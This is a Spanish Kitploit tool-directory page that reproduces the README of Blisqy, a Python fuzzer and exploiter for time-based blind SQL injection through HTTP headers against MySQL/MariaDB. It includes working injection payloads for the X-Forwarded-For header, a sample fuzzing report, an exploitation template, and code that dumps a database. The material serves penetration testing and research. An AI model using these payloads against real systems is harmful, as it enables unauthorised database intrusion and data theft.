Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Blisqy — Versión 0.2 - Explota la inyección SQL ciega basada en tiempo en cabeceras HTTP (MySQL/MariaDB). | Kitploit
Herramientas/GitHubGitHub/johntroony/blisqy
Escáneres de VulnerabilidadesExplotaciónSeguridad WebFuzzingSeguridad de Bases de Datos
GitHubjohntroony/blisqy

Blisqy

Versión 0.2 - Explota la inyección SQL ciega basada en tiempo en cabeceras HTTP (MySQL/MariaDB).

Ver Repositorio
416111hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

1. Blisqy

Blisqy es una herramienta para ayudar a los investigadores de seguridad web a encontrar inyecciones SQL ciegas basadas en tiempo en encabezados HTTP y también a explotar la misma vulnerabilidad.

La explotación permite un sifonado lento de datos desde una base de datos (actualmente solo compatible con MySQL/MariaDB) usando operaciones a nivel de bits sobre caracteres ASCII imprimibles, a través de una inyección SQL ciega.

Para la interoperabilidad con otras herramientas de Python y para permitir que otros usuarios utilicen las funciones proporcionadas en Blisqy, los módulos aquí incluidos se pueden importar en otros scripts basados en Python.

Al realizar pruebas de inyecciones SQL ciegas basadas en tiempo, cualquier latencia o congestión de la red puede afectar la efectividad del fuzzing o la explotación. Para compensar las posibles latencias de red e incertidumbres que podrían causar retrasos, la comparación de tiempo de Blisqy es dinámica y se calcula en tiempo de ejecución para cada prueba. Las pruebas utilizan greenlet (una unidad de ejecución ligera y cooperativamente programada) para proporcionar una API síncrona de alto nivel sobre el bucle de libevevent. Proporciona una forma rápida y eficiente de realizar las pruebas de carga útil en poco tiempo; además, una prueba en particular no debería afectar a otra porque no se realizan completamente de forma secuencial.

1.1. Nueva(s) característica(s)

Blisqy ahora admite fuzzing para inyección SQL ciega basada en tiempo en encabezados HTTP y las funcionalidades principales (fuzzing y explotación) se han separado en archivos independientes para portabilidad.

1.2. Fuzzing con Blisqy

Para usar la funcionalidad de Fuzzing, importe el siguiente módulo en su script de Python y proporcione un objetivo junto con los datos de fuzzing como se muestra a continuación:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

Los parámetros del objetivo deben estar en formato Diccionario/JSON, por ejemplo (Observe los tipos de datos de las variables):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

Invocar el fuzzer una vez que se proporcionan los parámetros del objetivo se muestra a continuación:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

Puede consultar FindBlindSpot.py para ver este ejemplo proporcionado.

1.2.1. Salida de muestra del fuzzing

Si tiene éxito, debería obtener un informe de las pruebas 'inyectables' realizadas. Tenga en cuenta que, aunque Blisqy intenta compensar las latencias de red y la congestión durante las pruebas, es importante realizar una prueba de concepto de los resultados positivos reportados antes de continuar.

A continuación se muestra un informe de muestra:

root@kitploit:~
=================== [ Términos clave] ===================
Index = Constante configurada (Retardo)
Registro Base = Ping al servidor antes del fuzzing
Registro de Referencia  = Registro Base + Index
Registro de Fuzzing = Tiempo empleado en procesar la solicitud con Index

===================== [ Lógica] =====================
Si el Registro de Fuzzing es mayor que el Registro de Referencia,
tratar como positivo; en caso contrario, tratar como negativo.



[+] Inyección : X-Forwarded-For : ' or sleep(1)#

[+] Encabezado : X-Forwarded-For

[*] Registro Index : 0.000160932540894
[*] Registro de Referencia : 1.00016093254
[*] Registro de Fuzzing : 9.01
[!] La prueba 436 es inyectable.
__________________________________

[+] Inyección : X-Forwarded-For : ' or sleep(1)='

[+] Encabezado : X-Forwarded-For

[*] Registro Index : 0.000378847122192
[*] Registro de Referencia : 1.00037884712
[*] Registro de Fuzzing : 18.02
[!] La prueba 438 es inyectable.
__________________________________

Captura de pantalla del Fuzzer de Blisqy en acción:

Fuzz para Blind SQLi

1.3. Explotación con Blisqy

Después de encontrar una posible inyección SQL ciega basada en tiempo, puede preparar un script para explotar la aplicación web vulnerable.

Al igual que el fuzzer, puede importar el módulo para la explotación en su script de Python y definir una plantilla para la operación de explotación. A continuación se muestra un ejemplo de cómo importar el módulo en un script de Python:

root@kitploit:~
from lib.blindexploit import SqlEngine

A continuación, deberá proporcionar los detalles de su objetivo junto con sus parámetros de destino para la explotación. A continuación se muestra una implementación de ejemplo para explotar la inyección SQL ciega encontrada por el fuzzer:

Los datos del objetivo deben estar en un formato Diccionario/JSON que especifique el servidor, el puerto, el encabezado vulnerable encontrado y su valor (algunas aplicaciones necesitarán o verificarán un valor determinado). También Observe los tipos de datos de las variables.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

Los parámetros del objetivo deben seguir permitiendo al usuario especificar algunas opciones relacionadas con las preferencias de explotación.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime es el retardo que se usará en las cargas útiles
  • payload es una opción para ejecutar la explotación con una consulta SQL personalizada, p. ej. select @@hostname. La opción predeterminada es 'pass'.
  • mysqlDig habilita la explotación para que sea automática y enumere todas las tablas disponibles en el esquema.
  • interactive es una opción para permitir que el usuario interactúe con la rutina de explotación. Esto puede ser útil cuando desea saltar a las partes interesantes de la base de datos.
  • verbosity puede ser high, medium o low. Esto solo controla la información de salida de la rutina de explotación.

Después de proporcionar su objetivo y sus parámetros, lo siguiente es proporcionar una plantilla para la rutina de explotación. Blisqy proporciona una forma para que los usuarios especifiquen dónde inyectar la carga útil SQL de exfiltración y el retardo sleeptime. A continuación se muestra un ejemplo de una implementación para una de las vulnerabilidades encontradas en el informe de muestra proporcionado en la subsección anterior.

Inyección encontrada en el encabezado X-Forwarded-For:

root@kitploit:~
' or sleep(1)='

Plantilla para esta inyección en particular:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

Durante la ejecución, *sql* se reemplazará con una carga útil de inyección SQL y *time* se reemplazará con un retardo para sleep().

Una vez que todo esto esté listo, la última parte es instanciar la rutina de explotación y dejar que el método MysqlDigger() haga el trabajo.

root@kitploit:~
# Crear una instancia
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerar la base de datos MySQL
BlindSql.MysqlDigger()

Puede consultar ExploitBlindSpot.py para ver este ejemplo proporcionado.

A continuación se muestra un ejemplo de una operación de explotación:

Explotar Blind SQLi

1.4. Por hacer

  • Integrar un fuzzer inteligente para buscar vulnerabilidades de inyección SQL en encabezados HTTP y elementos web
  • Soporte de fuzzing y explotación de Blind SQLi en endpoints web además de encabezados HTTP.

1.4.1. Contribuir

Puede avisarme de cualquier cosa interesante que haya encontrado con Blisqy o de lo que crea que debería agregarse/eliminarse.

  • Comparta sus ideas y lista de deseos,
  • ¿Encontró un error tipográfico? Avíseme,
  • ¿Encontró formas de optimizar Blisqy?,
  • Sugiera formas de incorporar soporte para otros DBMS.

1.4.2. Referencia

  • (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Disponible en: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

Descargar herramienta